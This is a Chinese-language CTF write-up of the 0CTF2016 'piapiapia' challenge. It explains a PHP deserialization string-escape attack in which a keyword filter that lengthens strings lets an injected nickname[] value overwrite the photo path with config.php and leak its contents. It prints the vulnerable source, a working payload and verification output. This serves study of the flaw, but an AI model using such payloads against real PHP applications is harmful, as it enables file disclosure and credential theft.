反序列化之字符串逃逸-0CTF2016-piapiapia

1、打开环境

一边扫目录,一边尝试万能密码。发现存在源码泄露,www.zip,解压后发现存在几个PHP文件。包含注册、更新、配置、index等。主要逻辑是注册后进入到登录,登录后进入到profile。

2、分析源码

php 复制代码
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
?>

这里可以看到$profile['photo']='upload/'.md5($file['name']);也就是文件路径+文件名md5,这个内容是一个字符串,被存储进了序列化对象里,再存入数据库。但是这里可以看到序列化之后,进行了filter过滤。filter方法在class.php里面:

php 复制代码
public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}


	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

过滤规则就是将单引号、反斜线替换成下划线,将几个sql的关键字替换成hacker(防止SQL注入)。

config.php如下,flag在这里面。要是能读到这个文件,大概率就能拿到flag。

php 复制代码
<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

再看profile.php

php 复制代码
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

前面说过,更新完数据之后进入到profile.php。这时候就可以知道,页面显示图片的时候是取$profile['photo']的值并进行base64编码。

3、漏洞利用

通过上述分析,我们的核心思路是这样:设法将$profile['photo']设置成config.php,让它在反序列化的时候读取文件内容,然后存储到photo变量,这样就能在页面中echo出flag的内容。

也就是说我们想要的序列化结果如下:

php 复制代码
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"a@qq.com";s:8:"nickname";s:4:"haha";s:5:"photo";s:10:"config.php";}
var_dump(unserialize($profile));

运行结果如下:
array(4) {
  ["phone"]=>
  string(11) "12345678901"
  ["email"]=>
  string(8) "a@qq.com"
  ["nickname"]=>
  string(4) "haha"
  ["photo"]=>
  string(10) "config.php"
}

产生这个序列化的时候是在update的时候,所以我们要在BP里面拦截update的包儿。但是观察发现,在update产生序列化的时候,photo的值是文件路径+文件名md5这种,怎么能将它的值改变为config.php呢?

4、字符串逃逸

这个也是本题考查的重点。说白了就是我们不是要替换,而是要把upload/'.md5($file['name']这个真实的值给"顶"到外面去,不参与反序列化时候的执行。因为反序列化键值对的过程是顺序开始读到长度字段后进行+2操作(一个是"一个是;),最后以右大括号结尾,匹配完之后退出反序列化。所以后面在跟一些字符是不影响的。

也就是说原本正常update时候,产生的序列化结果如下:

php 复制代码
$profile = 'a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"a@qq.com";s:8:"nickname";s:4:"haha";s:5:"photo";s:15:"upload/xxxxxxxx";}';
var_dump(unserialize($profile));

结果:
array(4) {
  ["phone"]=>
  string(11) "12345678901"
  ["email"]=>
  string(8) "a@qq.com"
  ["nickname"]=>
  string(4) "haha"
  ["photo"]=>
  string(15) "upload/xxxxxxxx"
}

而我们想要的结果如下:

php 复制代码
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"a@qq.com";s:8:"nickname";s:4:"haha";s:5:"photo";s:10:"config.php";}s:15:"upload/xxxxxxxx";}

结果:
array(4) {
  ["phone"]=>
  string(11) "12345678901"
  ["email"]=>
  string(8) "a@qq.com"
  ["nickname"]=>
  string(4) "haha"
  ["photo"]=>
  string(10) "config.php"
}

想要构造上面的反序列化字符串,我们需要将**";}s:5:"photo";s:10:"config.php";}**这个字符串(34个字符)给放到nickname里面。也就是说在页面返回后端图片的时候由nickname这个字段把photo的值带出来。真正的photo值被"顶"了出去,因为反序列化过程中读取长度匹配正确后到}后就结束了,所有后面的s:15:"upload/xxxxxxxx";}就不再起作用。也就是达到了所谓的字符串逃逸。

5、构造payload

现在还有一个问题是nickname是有限制的,长度必须小于10。但是这里没有做类型判断,可以通过数组绕过。也就是将nickname改为nickname[],里面就可以塞进去上述字符串了。

前面分析代码知道,update的时候是有filter函数,如出现where会替换为hacker,长度加1。这里我们添加了34个字符,这就意味着我们需要34个where腾出来34个长度给我们新加的字符串。最终我们构造的payload如下:

php 复制代码
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

6、结果验证

创建四个变量如下(主要是将nickname改为上述的payload):

php 复制代码
$profile['phone'] = '12345678901';
$profile['email'] = 'a@qq.com';
$profile['nickname'] = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['photo'] = 'upload/xxxx';

查看序列化结果(注意这个长度204,包含**"};s:5:"photo";s:10:"config.php";}**):

php 复制代码
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"a@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"upload/xxxx";}filter之后:

filter之后的结果(这个204,正好跟34个hacker的总长度匹配):

php 复制代码
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"a@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"upload/xxxx";}

直接对上面这个结果进行反序列化,查看结果:

php 复制代码
var_dump(unserialize(filter(serialize($profile))));

array(4) {
  ["phone"]=>
  string(11) "12345678901"
  ["email"]=>
  string(8) "a@qq.com"
  ["nickname"]=>
  array(1) {
    [0]=>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  ["photo"]=>
  string(10) "config.php"
}

这个时候,我们可以看到nickname的值变成34个hacker正好占据了204个长度,跟序列化之前的204匹配。然后后面的"};s:5:"photo";s:10:"config.php";}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。

打开BP抓包,注册登录,修改信息上传时开始拦截。修改nickname为nickname[],值为上述payload。随后访问profile.php,右键图片打开新窗口,url栏数据解码得到flag。

相关推荐
福来阁86号技师4 小时前
2025年第二届Solar应急响应挑战赛
ctf·应急响应
给勒布朗上上对抗呀1 天前
短标签一句话实战-LitCTF2025-easy_file
ctf
蓝之白1 天前
WEB安全_AI_WAF
web安全·ctf
Bug.ink2 天前
BUUCTF——WEB(4)
前端·网络安全·靶场·ctf·buuctf
蓝之白2 天前
MISC9-easy_nbt
ctf·misc
漏洞文库-Web安全3 天前
强网杯 2024 web pyblockly 单题wp
安全·web安全·网络安全·ctf
蓝之白3 天前
MISC8-Linux2
ctf·misc
lally.4 天前
2025CISCN国赛暨长城杯初赛 CloudEver wp
ctf
蓝之白4 天前
Web9-source
web安全·ctf